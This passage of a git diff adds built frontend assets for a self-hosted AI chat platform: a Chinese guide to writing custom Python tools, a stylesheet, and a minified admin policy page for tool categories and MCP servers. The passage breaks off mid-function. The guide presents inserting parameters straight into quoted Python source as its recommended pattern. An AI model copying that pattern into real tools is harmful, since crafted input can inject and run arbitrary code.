+ops = {'+': operator.add} +\`\`\` + +同理:集合 \`{1,2,3}\`、字典推导式 \`{k:v for ...}\` 都需要转义,否则会被误当占位符。 + +--- +### 5.3 参数是字符串时,必须自己加引号(或安全编码) + +如果参数是字符串: +- \`{name}\` 替换后会变成裸文本,导致 Python 语法错误 + +正确(加引号): +\`\`\`py +name = '{name}' +\`\`\` + +反例(没引号,容易 SyntaxError): +\`\`\`py +name = {name} +\`\`\` + +更稳健的写法(推荐):用 JSON 序列化来安全注入字符串(避免引号/换行破坏代码)。 +\`\`\`py +import json +name = json.loads({name_json}) +\`\`\` +但这需要你在定义层把参数设计成 \`name_json\`,且调用时传入 JSON 字符串;新手不建议第一天就这么做。 + +--- +### 5.4 强烈建议:执行层先做“输入校验”,再计算 +因为没有强校验,入参可能是空、类型不对、字符串里有奇怪字符。 + +示例:对 calc 的 op 做严格白名单检查: +\`\`\`py +a = {a} +op = '{op}' +b = {b} +if op not in ['+','-','*','/']: + raise ValueError('op must be one of + - * /') +\`\`\` + +反例(危险):用 eval 解析运算符/表达式 +\`\`\`py +print(eval(f\\"{a}{op}{b}\\")) # 不要这么写 +\`\`\` +原因:op 或其他参数可被注入恶意表达式。 + +--- +### 5.5 执行层示例 1:echo(最简单) +文件:\`data/custom_tools/echo/execution.py\` +\`\`\`py +text = '{text}' +print(text) +\`\`\` + +--- +### 5.6 执行层示例 2:greet(可选参数) +文件:\`data/custom_tools/greet/execution.py\` +\`\`\`py +name = '{name}' +name = (name or '').strip() +if not name: + print('你好!') +else: + print(f'你好,{name}!') +\`\`\` +注意:这里用到了 f-string 的 \`{name}\`,**它是 Python 运行时的花括号,不会参与模板替换**,因为模板替换已经在执行前完成,且我们这里的 \`{name}\` 是在 Python 代码字符串里,不是模板语法(但仍要注意别在最外层写出新的 \`{}\` 占位符)。 + +--- +### 5.7 执行层示例 3:calc(你要的三参数计算器) +文件:\`data/custom_tools/calc/execution.py\` +\`\`\`py +a = {a} +op = '{op}' +b = {b} +import operator +ops = {{'+': operator.add, '-': operator.sub, '*': operator.mul, '/': operator.truediv}} +print(ops[op](a, b)) +\`\`\` + +要点回顾: +- 数字:\`a = {a}\`、\`b = {b}\` +- 字符串:\`op = '{op}'\` +- 字典:\`ops = {{...}}\`(双花括号) + +--- +### 5.8 反例:输出过大导致工具失败/截断 +反例: +\`\`\`py +print('A' * 1000000) +\`\`\` +后果:输出有全局上限(默认 10k 字符左右),你会看到截断或失败提示。 +建议:配合 return.json 的 \`truncate\`,或自行在执行层控制输出长度。 + +--- +### 5.9 反例:死循环导致超时 +\`\`\`py +while True: + pass +\`\`\` +后果:到 \`timeout\` 后被中断,返回 timeout。 + +--- +## 6. 返回层 \`return.json\`:怎么做二次处理(例子 + 反例) + +返回层是可选的,但强烈建议至少写一个 \`truncate\`,避免工具输出污染上下文。 + +### 6.1 支持字段(当前版本) +\`\`\`json +{ + "truncate": 2000, + "template": "[tool_id={tool_id}] 输出: {output}" +} +\`\`\` + +- \`truncate\`:整数,输出超过该长度时截断到前 N 字符 +- \`template\`:字符串模板,可用变量: + - \`{output}\`:stdout+stderr 合并后的输出文本(已按 truncate 处理后的版本) + - \`{stderr}\`:stderr(如果存在) + - \`{return_code}\`:进程返回码 + - \`{tool_id}\`:工具 id + +> \`template\` 只是影响 \`message\` 展示,不会改变 \`output\` 字段本身(除 truncate)。 + +--- +### 6.2 返回层示例:calc 结果更友好 +文件:\`data/custom_tools/calc/return.json\` +\`\`\`json +{ + "truncate": 2000, + "template": "[calc] 结果: {output}" +} +\`\`\` + +--- +### 6.3 反例:template 写错占位符导致忽略 +\`\`\`json +{ "template": "结果={result}" } +\`\`\` +因为 \`{result}\` 不是支持变量,格式化会失败,系统会回退到默认 message(你会看到输出但不按模板展示)。 + +--- +## 7. 备注/展示层 \`meta.json\`:备注与图标 + +### 7.1 meta.json 适合放什么? +示例: +\`\`\`json +{ + "notes": "这是一个示例工具,用于演示参数与模板写法", + "icon": "calculator.svg", + "owner": "admin", + "created_at": "2026-01-05" +} +\`\`\` + +### 7.2 图标怎么选? +目前图标字段会被保存/返回(前端后续可用它显示工具卡片 SVG)。 +建议写成 \`static/icons/\` 下的文件名,例如: +- \`brain.svg\` +- \`terminal.svg\` +- \`bot.svg\` + +你可以用命令查看有哪些图标: +\`\`\`bash +ls static/icons +\`\`\` + +> 当前 UI 可能还没把 icon 真正渲染出来,但字段已经为未来对接准备好。 + +--- +## 8. 如何创建一个新工具:从 0 到可用(完整示例) + +下面示例创建一个工具 \`text_len\`:计算字符串长度,并在返回层截断。 + +### 8.1 创建目录 +\`\`\` +data/custom_tools/text_len/ +\`\`\` + +### 8.2 definition.json +\`\`\`json +{ + "id": "text_len", + "description": "计算文本长度(字符数)", + "parameters": { + "type": "object", + "properties": { + "text": { "type": "string", "description": "输入文本" } + }, + "required": ["text"] + }, + "category": "custom", + "timeout": 10 +} +\`\`\` + +### 8.3 execution.py +\`\`\`py +text = '{text}' +print(len(text)) +\`\`\` + +### 8.4 return.json(可选) +\`\`\`json +{ + "truncate": 200, + "template": "[text_len] 字符数: {output}" +} +\`\`\` + +### 8.5 验证 +1) 管理端 \`admin/policy\`:应看到 \`text_len\` +2) 管理员聊天:让模型调用 \`text_len\`,或提示它“用 text_len 计算这段话长度” + +--- +## 9. 用 API 管理工具(可选) + +如果你不想手工改文件,也可以调用后端接口(管理员权限): + +### 9.1 列表 +\`GET /api/admin/custom-tools\` + +### 9.2 新增/更新 +\`POST /api/admin/custom-tools\` + +请求 JSON 推荐结构(字段越全越好): +\`\`\`json +{ + "id": "calc", + "description": "简单两数运算", + "parameters": { "type": "object", "properties": {}, "required": [] }, + "required": [], + "category": "custom", + "icon": "brain.svg", + "timeout": 15, + "execution_code": "print('hello')\\n", + "return": { "truncate": 2000, "template": "输出: {output}" }, + "meta": { "notes": "通过 API 创建" } +} +\`\`\` + +### 9.3 删除 +\`DELETE /api/admin/custom-tools?id=calc\` + +--- +## 10. 常见问题与排查(非常实用) + +### 10.1 admin/policy 看不到工具 +逐条检查: +1) 你是否用 **管理员账号** 登录? +2) 工具目录是否存在:\`data/custom_tools//\` +3) 是否同时存在两个文件: + - \`data/custom_tools//definition.json\` + - \`data/custom_tools//execution.py\` +4) \`definition.json\` 是否是合法 JSON(多一个逗号都会解析失败) +5) 刷新页面(强刷),必要时重启后端服务 + +### 10.2 调用时报 “缺少必填参数: \\"'+'\\"” 或类似奇怪 key +几乎可以确定是:**执行层里有未转义的字典/集合花括号**。 +把 \`{\` 改成 \`{{\`,把 \`}\` 改成 \`}}\`(只针对“字典/集合字面量部分”)。 + +### 10.3 调用时报 SyntaxError(语法错误) +常见原因: +- 字符串参数没加引号:\`name = {name}\`(错误) +- 参数中包含换行/引号导致代码被截断(建议先做简单输入,或改用更稳健的注入方式) + +### 10.4 调用成功但输出很乱/太长 +解决: +- 在 \`return.json\` 里加 \`truncate\` +- 或执行层自行控制输出 + +### 10.5 工具能执行但模型不愿意用/总用错 +解决: +- 优化 \`description\`:写清楚输入输出、限制、例子 +- \`parameters.properties.*.description\` 写清楚含义 +- \`enum\` 尽量给明确可选值(例如运算符) + +--- +## 11. 规范建议(团队协作必看) + +### 11.1 命名规范 +- 工具 id:小写 + 下划线(例如 \`calc\`, \`text_len\`, \`db_query\`) +- 目录名与 \`definition.json.id\` 保持一致 + +### 11.2 输出规范 +建议输出尽量“短而确定”: +- 优先输出一个结果值或一段简短摘要 +- 需要结构化时输出 JSON(但注意长度) + +### 11.3 安全与边界 +虽然是私有化环境,也强烈建议: +- 不要在执行层写破坏性命令/删除文件 +- 不要 \`eval\` 用户输入 +- 给工具合理的 \`timeout\` +- 给返回层加 \`truncate\` + +--- +## 12. 当前版本限制(请先接受这些现实) +- 仅支持 Python(没有 NodeJS 执行) +- 不提供强校验与沙箱策略自定义(依赖现有容器执行与全局限制) +- 图标字段已预留(\`icon\`),但前端是否渲染取决于后续 UI 接入 + +`,h={class:"guide-page"},b={class:"panel"},g={key:0,class:"status error"},v={key:1,class:"status"},x=["innerHTML"],f=p({__name:"CustomToolsGuideApp",setup(k){const a=o(""),s=o(!0),e=o("");return c(()=>{try{a.value=y(j)}catch(r){e.value=r.message||"渲染指南失败"}finally{s.value=!1}}),(r,i)=>(n(),t("div",h,[i[0]||(i[0]=d('

Custom Tools

开发指南

如何编写、组织与调试自定义工具的完整说明。

',1)),u("section",b,[e.value?(n(),t("div",g,m(e.value),1)):s.value?(n(),t("div",v,"加载中...")):(n(),t("article",{key:2,class:"markdown",innerHTML:a.value},null,8,x))])]))}}),S=_(f,[["__scopeId","data-v-87529767"]]);l(S).mount("#custom-tools-guide"); diff --git a/demo/static/dist/assets/adminPolicy.css b/demo/static/dist/assets/adminPolicy.css new file mode 100644 index 0000000..1d47fd2 --- /dev/null +++ b/demo/static/dist/assets/adminPolicy.css @@ -0,0 +1 @@ +body{margin:0;background:#f7f3ea;font-family:Iowan Old Style,ui-serif,Georgia,Cambria,Times New Roman,serif;color:#2a2013}#admin-policy-app{min-height:100vh;padding:24px 32px 48px;box-sizing:border-box}.policy-page[data-v-8faa8aef]{max-width:1200px;margin:0 auto;display:flex;flex-direction:column;gap:16px}.policy-header[data-v-8faa8aef]{display:flex;justify-content:space-between;align-items:center;gap:12px}.header-actions[data-v-8faa8aef]{display:flex;gap:8px;align-items:center}.dropdown[data-v-8faa8aef]{position:relative}.ghost-btn[data-v-8faa8aef]{padding:10px 12px;border-radius:12px;border:1px solid rgba(0,0,0,.12);background:#ffffffe6;color:#2a2013;display:inline-flex;align-items:center;gap:6px;cursor:pointer}.ghost-btn .caret[data-v-8faa8aef]{font-size:12px;opacity:.7}.dropdown-menu[data-v-8faa8aef]{position:absolute;top:calc(100% + 6px);left:0;min-width:160px;background:#fff;border:1px solid rgba(0,0,0,.12);border-radius:12px;box-shadow:0 12px 30px #0000001f;display:flex;flex-direction:column;overflow:hidden;z-index:10}.dropdown-menu button[data-v-8faa8aef]{border:none;background:transparent;padding:10px 12px;text-align:left;width:100%;color:#2a2013}.dropdown-menu button[data-v-8faa8aef]:hover{background:#0000000a}.text-field input[data-v-8faa8aef]{padding:10px 12px;border-radius:12px;border:1px solid rgba(0,0,0,.12);background:#fff}.banner[data-v-8faa8aef]{margin-top:12px;padding:12px 14px;border-radius:12px;display:flex;align-items:center;justify-content:space-between;gap:8px;border:1px solid rgba(0,0,0,.08)}.banner.success[data-v-8faa8aef]{background:#49a0781f;border-color:#49a07859}.banner.error[data-v-8faa8aef]{background:#bd5d3a1f;border-color:#bd5d3a59}.banner-close[data-v-8faa8aef]{border:none;background:transparent;cursor:pointer;font-size:16px;line-height:1}.panel[data-v-8faa8aef]{background:#ffffffe6;border:1px solid rgba(118,103,84,.2);border-radius:16px;padding:16px;box-shadow:inset 0 1px #fff6}.mcp-list[data-v-8faa8aef]{display:flex;flex-direction:column;gap:12px}.mcp-item[data-v-8faa8aef]{border:1px solid rgba(118,103,84,.2);border-radius:14px;padding:12px;background:#ffffffeb}.mcp-grid[data-v-8faa8aef]{display:grid;grid-template-columns:repeat(auto-fit,minmax(220px,1fr));gap:10px}.mcp-grid label[data-v-8faa8aef]{display:flex;flex-direction:column;gap:6px;color:#5b4d3b;font-size:13px}.mcp-grid label.wide[data-v-8faa8aef]{grid-column:1 / -1}.mcp-grid textarea[data-v-8faa8aef],.mcp-grid input[data-v-8faa8aef],.mcp-grid select[data-v-8faa8aef]{width:100%;box-sizing:border-box;padding:8px 10px;border-radius:10px;border:1px solid rgba(0,0,0,.12);background:#fff}.mcp-meta[data-v-8faa8aef]{display:flex;flex-wrap:wrap;gap:10px;margin-top:8px;color:#8a7a62;font-size:12px}.mcp-actions[data-v-8faa8aef]{margin-top:8px;display:flex;gap:8px}.error-text[data-v-8faa8aef]{color:#b05b3c}.panel-title[data-v-8faa8aef]{display:flex;align-items:center;justify-content:space-between;gap:8px;margin-bottom:12px}.category-table[data-v-8faa8aef]{display:flex;flex-direction:column;gap:8px}.category-row[data-v-8faa8aef]{display:grid;grid-template-columns:1.2fr 1.2fr 2fr .8fr 1fr .8fr;gap:8px;align-items:center}.category-head[data-v-8faa8aef]{font-weight:600;color:#5b4d3b}.category-row input[data-v-8faa8aef],.category-row select[data-v-8faa8aef]{padding:8px 10px;border-radius:10px;border:1px solid rgba(0,0,0,.12);background:#fff}.id-input[data-v-8faa8aef]{font-family:SFMono-Regular,ui-monospace,Menlo,Monaco,Consolas,Liberation Mono,Courier New,monospace}.checkbox-cell[data-v-8faa8aef]{display:flex;justify-content:center}.grid-2[data-v-8faa8aef]{display:grid;grid-template-columns:repeat(auto-fit,minmax(280px,1fr));gap:12px}.checkbox-grid[data-v-8faa8aef]{display:grid;grid-template-columns:repeat(auto-fit,minmax(160px,1fr));gap:8px}.toggle-grid[data-v-8faa8aef]{display:grid;grid-template-columns:repeat(auto-fit,minmax(260px,1fr));gap:10px}.check-pill[data-v-8faa8aef]{position:relative;display:inline-flex;align-items:center;gap:8px;padding:10px 12px;border-radius:14px;border:1px solid rgba(0,0,0,.12);background:#ffffffeb;cursor:pointer;transition:all .2s ease}.check-pill.compact[data-v-8faa8aef]{padding:8px 10px}.check-pill .pill-knob[data-v-8faa8aef]{width:34px;height:18px;border-radius:999px;background:#0000001f;position:relative;transition:all .2s ease}.check-pill .pill-knob[data-v-8faa8aef]:after{content:"";position:absolute;top:2px;left:2px;width:14px;height:14px;border-radius:50%;background:#fff;box-shadow:0 1px 3px #0003;transition:all .2s ease}.check-pill.on[data-v-8faa8aef]{border-color:#49a07873;box-shadow:0 6px 18px #49a0782e}.check-pill.on .pill-knob[data-v-8faa8aef]{background:linear-gradient(90deg,#49a078,#4fb28a)}.check-pill.on .pill-knob[data-v-8faa8aef]:after{transform:translate(16px)}.check-pill .pill-label[data-v-8faa8aef]{font-weight:600;color:#2a2013}.chips[data-v-8faa8aef]{display:flex;flex-wrap:wrap;gap:8px}.chip[data-v-8faa8aef]{background:#7667541f;border:1px solid rgba(118,103,84,.3);border-radius:999px;padding:6px 10px;display:inline-flex;align-items:center;gap:6px}.muted[data-v-8faa8aef]{color:#8a7a62}.muted-info[data-v-8faa8aef]{color:#6a5d4c;background:#f7f3eae6}.link[data-v-8faa8aef]{background:transparent;border:1px solid rgba(176,91,60,.28);color:#5b4d3b;cursor:pointer;padding:6px 10px;border-radius:10px;transition:background .15s ease,border-color .15s ease}.link.danger[data-v-8faa8aef]{color:#b05b3c;border-color:#b05b3c66;background:#b05b3c0f}.link.danger[data-v-8faa8aef]:hover{background:#b05b3c1f;border-color:#b05b3c8c}button[data-v-8faa8aef]{padding:8px 12px;border-radius:10px;border:1px solid rgba(0,0,0,.12);background:#fff;cursor:pointer}button.primary[data-v-8faa8aef]{background:linear-gradient(90deg,#4b2e14,#8b5d3b);color:#fff;border:none}button[data-v-8faa8aef]:disabled{opacity:.6;cursor:not-allowed}.toggle-row[data-v-8faa8aef]{position:relative;display:flex;align-items:center;gap:12px;padding:12px 14px;border-radius:14px;border:1px solid var(--theme-control-border);background:var(--theme-surface-muted);cursor:pointer;transition:border-color .2s ease,box-shadow .2s ease,background .2s ease}.toggle-row.compact[data-v-8faa8aef]{padding:10px 12px}.toggle-row[data-v-8faa8aef]:hover{border-color:var(--theme-control-border-strong);background:var(--theme-surface-soft)}.toggle-row input[data-v-8faa8aef]{position:absolute;opacity:0;pointer-events:none}.toggle-row span[data-v-8faa8aef]{color:var(--text-primary);font-weight:600}.tool-select[data-v-8faa8aef]{position:relative}.tool-select-trigger[data-v-8faa8aef]{width:100%;display:inline-flex;align-items:center;justify-content:space-between;gap:8px;padding:9px 10px;border-radius:10px;border:1px solid rgba(0,0,0,.12);background:#fff;cursor:pointer;min-height:40px}.tool-select.open .tool-select-trigger[data-v-8faa8aef]{border-color:#76675466;box-shadow:0 10px 24px #00000014}.tool-badges[data-v-8faa8aef]{display:inline-flex;flex-wrap:wrap;gap:6px;align-items:center}.tool-badge[data-v-8faa8aef]{display:inline-flex;align-items:center;padding:4px 8px;border-radius:999px;background:#7667541f;color:#4b3d2f;border:1px solid rgba(118,103,84,.2);font-size:13px}.tool-select-menu[data-v-8faa8aef]{position:absolute;z-index:20;top:calc(100% + 6px);left:0;min-width:260px;max-height:240px;background:#fffaf4;border:1px solid rgba(118,103,84,.2);border-radius:12px;box-shadow:0 16px 36px #0000001f;padding:10px;display:flex;flex-direction:column;gap:8px;overflow:hidden}.tool-select-search input[data-v-8faa8aef]{width:100%;padding:8px 10px;border-radius:10px;border:1px solid rgba(0,0,0,.12);background:#fff}.tool-select-options[data-v-8faa8aef]{display:grid;grid-template-columns:1fr;gap:6px;max-height:140px;overflow:auto;scrollbar-width:none;-ms-overflow-style:none}.tool-select-options[data-v-8faa8aef]::-webkit-scrollbar{display:none}.tool-select-options label[data-v-8faa8aef]{display:flex;align-items:center;gap:6px;padding:6px 8px;border-radius:8px;background:#ffffffd9;border:1px solid rgba(0,0,0,.06);cursor:pointer}.tool-select-options input[data-v-8faa8aef]{position:static;opacity:1}.link.small[data-v-8faa8aef]{font-size:13px;align-self:flex-start;padding:6px 8px}.tiny[data-v-8faa8aef]{font-size:12px} diff --git a/demo/static/dist/assets/adminPolicy.js b/demo/static/dist/assets/adminPolicy.js new file mode 100644 index 0000000..866148b --- /dev/null +++ b/demo/static/dist/assets/adminPolicy.js @@ -0,0 +1,3 @@ +import{d as De,o as Le,w as Be,a as Je,b as c,c as d,u as M,e as Fe,f as g,g as n,t as u,n as j,F as b,r as v,h as r,j as p,q as N,s as Ie,T as Re,A as te,B as oe,i as ze,x as I,k as m,l as S,m as qe}from"./runtime-dom.esm-bundler.js";import{S as Ge,u as He}from"./SecondaryGate.js";import{F as R}from"./FancyCheck.js";import{_ as Ye}from"./_plugin-vue_export-helper.js";const Ke={class:"policy-page"},Qe={class:"policy-header"},We={class:"header-actions"},Xe={key:0,class:"dropdown-menu"},Ze=["onClick"],we={key:0,class:"text-field"},et=["placeholder"],tt=["disabled"],ot={class:"panel"},nt={class:"category-table"},lt=["onUpdate:modelValue"],st=["onUpdate:modelValue"],at=["onClick"],it={key:0,class:"tool-badges"},ct={key:1,class:"muted"},dt={class:"tool-select-search"},ut={class:"tool-select-options"},rt=["checked","onChange"],pt={key:0,class:"muted tiny"},gt=["onClick"],_t={class:"toggle-row compact"},ft=["checked","onChange"],mt=["onClick"],yt={key:0,class:"dropdown-menu"},ht=["onClick"],bt=["onClick"],vt=["onClick"],kt=["onClick"],Ct={class:"panel grid-2"},Tt={class:"toggle-grid"},xt=["checked","onChange"],St={class:"toggle-grid"},Ut=["checked","onChange"],Vt={class:"panel"},Mt={class:"panel-title"},Pt={class:"header-actions"},$t=["disabled"],Et=["disabled"],Ot={key:0,class:"muted"},At={key:1,class:"mcp-list"},jt={class:"mcp-grid"},Nt=["onUpdate:modelValue"],Dt=["onUpdate:modelValue"],Lt=["onUpdate:modelValue"],Bt=["onUpdate:modelValue"],Jt={key:0,class:"wide"},Ft=["onUpdate:modelValue"],It={key:1,class:"wide"},Rt=["onUpdate:modelValue"],zt={key:2,class:"wide"},qt=["onUpdate:modelValue"],Gt={key:3,class:"wide"},Ht=["onUpdate:modelValue"],Yt={class:"wide"},Kt=["onUpdate:modelValue"],Qt={class:"wide"},Wt=["onUpdate:modelValue"],Xt=["onUpdate:modelValue"],Zt={class:"wide"},wt=["onUpdate:modelValue"],eo={class:"wide"},to=["onUpdate:modelValue"],oo={class:"wide"},no=["onUpdate:modelValue"],lo={class:"mcp-meta"},so={key:0,class:"error-text"},ao={class:"mcp-actions"},io=["onClick"],co=["onClick"],uo=["onClick"],ro={class:"panel"},po={class:"chips"},go={key:0,class:"muted"},_o=["onClick"],fo=De({__name:"PolicyApp",setup(yo){const y=I({categories:{},models:[],ui_block_keys:[]}),{verified:_,configured:ne,loading:le,error:se,check:z,verify:ae}=He(),a=I({target_type:"global",target_value:"",config:{category_overrides:{},remove_categories:[],forced_category_states:{},disabled_models:[],ui_blocks:{}}}),D=m(null),P=m(!1),$=m(null),U=m([]),E=m(!1),O=m(!1),ie=S(()=>a.target_type==="role"?"如:admin / user":a.target_type==="invite"?"邀请码":a.target_type==="user"?"用户名(小写)":""),q=[{value:"global",label:"全局"},{value:"role",label:"按角色"},{value:"user",label:"指定用户"},{value:"invite",label:"邀请码"}],ce=S(()=>{var e;return((e=q.find(t=>t.value===a.target_type))==null?void 0:e.label)||"全局"}),V=m(!1),k=m(null),C=m(null),h=m(""),i=I({message:"",type:"info"}),G=S(()=>{const e=new Set,t=o=>{Array.isArray(o)&&o.forEach(l=>{typeof l=="string"&&l.trim()&&e.add(l.trim())})};return Object.values(y.categories||{}).forEach(o=>t(o==null?void 0:o.tools)),A.value.forEach(o=>t(o.tools)),e}),de=S(()=>Array.from(G.value).sort()),L=S(()=>{const e={};return A.value.forEach(t=>{(t.tools||[]).forEach(o=>{e[o]||(e[o]=[]),e[o].push(t.id)})}),e}),ue=e=>de.value.filter(t=>{const o=L.value[t]||[];return o.length?o.length===1&&o[0]===e.id:!0}),H=e=>{const t=h.value.trim().toLowerCase(),o=ue(e);return t?o.filter(l=>l.toLowerCase().includes(t)):o},re=()=>{V.value=!V.value},pe=e=>{a.target_type=e,e==="global"&&(a.target_value=""),V.value=!1,k.value=null,C.value=null,F()},ge=e=>{k.value=k.value===e?null:e},_e=e=>e===!0?"强制启用":e===!1?"强制禁用":"不强制",B=(e,t)=>{const o={...a.config.forced_category_states};t===null?delete o[e]:o[e]=t,a.config.forced_category_states=o,k.value=null},fe=e=>{C.value=C.value===e?null:e,h.value=""},Y=(e,t)=>{const l=(L.value[t]||[]).find(f=>f!==e.id);if(l){i.message=`工具 ${t} 已在分类 ${l} 中,请先移除后再分配`,i.type="error";return}const s=new Set(e.tools||[]);s.has(t)?s.delete(t):s.add(t),e.tools=Array.from(s)},me=e=>{const t=h.value.trim();if(!t)return;const l=(L.value[t]||[]).find(s=>s!==e.id);if(l){i.message=`工具 ${t} 已在分类 ${l} 中,请先移除后再分配`,i.type="error";return}Y(e,t),h.value=""},K=e=>{const t=e.target;t&&(t.closest(".tool-select")||(C.value=null))},A=S(()=>{const e=a.config.category_overrides||{};return Object.keys(e).map(t=>{var o,l,s;return{id:t,label:((o=e[t])==null?void 0:o.label)||t,tools:Array.isArray((l=e[t])==null?void 0:l.tools)?[...e[t].tools]:[],default_enabled:((s=e[t])==null?void 0:s.default_enabled)!==!1,forced:a.config.forced_category_states[t]??null}})}),Q=e=>{var l;const t=a.config.category_overrides||{};if(t[e]&&typeof t[e].default_enabled<"u")return!!t[e].default_enabled;const o=(l=y.categories)==null?void 0:l[e];return o?!!o.default_enabled:!0},ye=(e,t)=>{var s;const o=a.config.category_overrides||{},l=o[e]||((s=y.categories)==null?void 0:s[e])||{label:e,tools:[]};a.config.category_overrides={...o,[e]:{...l,default_enabled:t}}};function he(e){return{collapse_workspace:"折叠工作区",block_file_manager:"禁止文件管理器",block_personal_space:"禁止个人空间",block_upload:"禁止上传",block_conversation_review:"禁止对话引用",block_tool_toggle:"禁止工具禁用",block_realtime_terminal:"禁止实时终端",block_focus_panel:"禁止聚焦面板",block_token_panel:"禁止用量统计",block_compress_conversation:"禁止压缩对话",block_virtual_monitor:"禁止虚拟显示器"}[e]||e}function be(e,t){var o;(o=t==null?void 0:t.stopPropagation)==null||o.call(t),a.config.ui_blocks={...a.config.ui_blocks,[e]:!a.config.ui_blocks[e]}}function W(e){return(a.config.disabled_models||[]).includes(e)}function ve(e){const t=new Set(a.config.disabled_models||[]);t.has(e)?t.delete(e):t.add(e),a.config.disabled_models=Array.from(t)}function ke(){const e=`custom_${Date.now().toString(36)}`;a.config.category_overrides[e]={label:e,tools:[],default_enabled:!0}}function Ce(e){delete a.config.category_overrides[e],a.config.forced_category_states[e]&&delete a.config.forced_category_states[e],a.config.remove_categories.includes(e)||a.config.remove_categories.push(e)}function Te(e){a.config.remove_categories=a.config.remove_categories.filter(t=>t!==e)}function xe(){const e={};A.value.forEach(t=>{t.id&&(e[t.id]={label:t.label||t.id,tools:(t.tools||[]).map(o=>typeof o=="string"?o.trim():"").filter(Boolean),default_enabled:!!t.default_enabled},t.forced===!0||t.forced===!1?a.config.forced_category_states[t.id]=t.forced:delete a.config.forced_category_states[t.id])}),a.config.category_overrides=e}function X(e){return(e||"").split(",").map(t=>t.trim()).filter(Boolean)}function Se(e){return(e||"").split(` +`).map(t=>t.trim()).filter(Boolean)}function Z(e,t){const o=(t||"").trim();if(!o)return{};let l;try{l=JSON.parse(o)}catch(f){throw new Error(`${e} 不是合法 JSON:${(f==null?void 0:f.message)||f}`)}if(!l||typeof l!="object"||Array.isArray(l))throw new Error(`${e} 必须是 JSON 对象`);const s={};return Object.entries(l).forEach(([f,Ne])=>{const ee=String(f||"").trim();ee&&(s[ee]=String(Ne??""))}),s}function w(e){const t=(e==null?void 0:e.transport)==="streamable_http"?"streamable_http":"stdio",o=Array.isArray(e==null?void 0:e.args)?e.args.filter(s=>typeof s=="string"):[],l=Array.isArray(e==null?void 0:e.tools_cache)?e.tools_cache:[];return{id:String((e==null?void 0:e.id)||""),name:String((e==null?void 0:e.name)||(e==null?void 0:e.id)||""),description:String((e==null?void 0:e.description)||""),transport:t,enabledText:(e==null?void 0:e.enabled)===!1?"false":"true",command:String((e==null?void 0:e.command)||""),argsText:o.join(` +`),cwd:String((e==null?void 0:e.cwd)||""),url:String((e==null?void 0:e.url)||""),headersText:e!=null&&e.headers&&typeof e.headers=="object"?JSON.stringify(e.headers,null,2):"",envText:e!=null&&e.env&&typeof e.env=="object"?JSON.stringify(e.env,null,2):"",timeoutText:String((e==null?void 0:e.timeout_seconds)??25),includeToolsText:Array.isArray(e==null?void 0:e.include_tools)?e.include_tools.join(","):"",excludeToolsText:Array.isArray(e==null?void 0:e.exclude_tools)?e.exclude_tools.join(","):"",tools_cache_updated_at:String((e==null?void 0:e.tools_cache_updated_at)||""),last_error:String((e==null?void 0:e.last_error)||""),tools_cache_count:l.length}}function Ue(e){const t=e.id.trim();if(!t)throw new Error("MCP 服务 ID 不能为空");return{id:t,name:e.name.trim()||t,description:e.description.trim(),transport:e.transport,enabled:e.enabledText==="true",command:e.command.trim(),args:Se(e.argsText),cwd:e.cwd.trim(),url:e.url.trim(),headers:Z("headers",e.headersText),env:Z("env",e.envText),timeout_seconds:Number(e.timeoutText||25),include_tools:X(e.includeToolsText),exclude_tools:X(e.excludeToolsText)}}async function T(){if(_.value){E.value=!0;try{const e=await fetch("/api/admin/mcp-servers",{credentials:"same-origin"}),t=await e.json();if(!e.ok||!t.success)throw new Error(t.error||"加载 MCP 服务失败");U.value=(t.data||[]).map(o=>w(o))}catch(e){i.message=(e==null?void 0:e.message)||"加载 MCP 服务失败",i.type="error"}finally{E.value=!1}}}function Ve(){U.value.unshift(w({id:"",name:"",transport:"stdio",enabled:!0,timeout_seconds:25}))}async function Me(e){if(_.value)try{const t=Ue(e),o=await fetch("/api/admin/mcp-servers",{method:"POST",credentials:"same-origin",headers:{"Content-Type":"application/json"},body:JSON.stringify(t)}),l=await o.json();if(!o.ok||!l.success)throw new Error(l.error||"保存 MCP 服务失败");i.message=`MCP 服务 ${t.id} 已保存`,i.type="success",await J(t.id,!0)}catch(t){i.message=(t==null?void 0:t.message)||"保存 MCP 服务失败",i.type="error"}}async function Pe(e,t){if(!_.value)return;const o=String(e||"").trim();if(!o){U.value.splice(t,1);return}try{const l=await fetch(`/api/admin/mcp-servers?id=${encodeURIComponent(o)}`,{method:"DELETE",credentials:"same-origin"}),s=await l.json();if(!l.ok||!s.success)throw new Error(s.error||"删除 MCP 服务失败");i.message=`已删除 MCP 服务 ${o}`,i.type="success",await T(),await x()}catch(l){i.message=(l==null?void 0:l.message)||"删除 MCP 服务失败",i.type="error"}}async function J(e,t=!1){if(!_.value)return;const o=String(e||"").trim();if(typeof e<"u"&&!o){i.message="请先保存服务后再同步工具",i.type="error";return}t||(O.value=!0);try{const l=await fetch("/api/admin/mcp-servers/sync",{method:"POST",credentials:"same-origin",headers:{"Content-Type":"application/json"},body:JSON.stringify(o?{id:o}:{})}),s=await l.json();if(!l.ok||!s.success)throw new Error(s.error||"同步 MCP 工具失败");t||(i.message=o?`已同步 ${o}`:"已同步全部 MCP 服务",i.type="success"),await T(),await x()}catch(l){i.message=(l==null?void 0:l.message)||"同步 MCP 工具失败",i.type="error"}finally{t||(O.value=!1)}}async function $e(){await J()}async function x(){var o,l,s,f;if(!_.value)return;const e=await fetch("/api/admin/policy",{credentials:"same-origin"}),t=await e.json();if(!e.ok||!t.success)throw new Error(t.error||"加载默认配置失败");y.categories=((o=t.defaults)==null?void 0:o.categories)||{},y.models=((l=t.defaults)==null?void 0:l.models)||[],y.ui_block_keys=((s=t.defaults)==null?void 0:s.ui_block_keys)||[],$.value=t.data,D.value=((f=t.data)==null?void 0:f.updated_at)||null,F()}function Ee(){const e=$.value;return e?a.target_type==="global"?e.global||{}:a.target_type==="role"?(e.roles||{})[a.target_value]||{}:a.target_type==="user"?(e.users||{})[a.target_value]||{}:a.target_type==="invite"?(e.invites||{})[a.target_value]||{}:null:null}function F(){const e=Ee()||{},t=JSON.parse(JSON.stringify(y.categories||{})),o=e.category_overrides||{},l=new Set(e.remove_categories||[]);Object.keys(o).forEach(s=>{t[s]=o[s]}),l.forEach(s=>{delete t[s]}),a.config.category_overrides=t,a.config.remove_categories=[...l],a.config.forced_category_states={...e.forced_category_states||{}},a.config.disabled_models=[...e.disabled_models||[]],a.config.ui_blocks={...e.ui_blocks||{}},k.value=null,C.value=null}async function Oe(){if(_.value){if(!$.value){await x();return}F()}}async function Ae(){var e;if(_.value){xe(),P.value=!0;try{const t=await 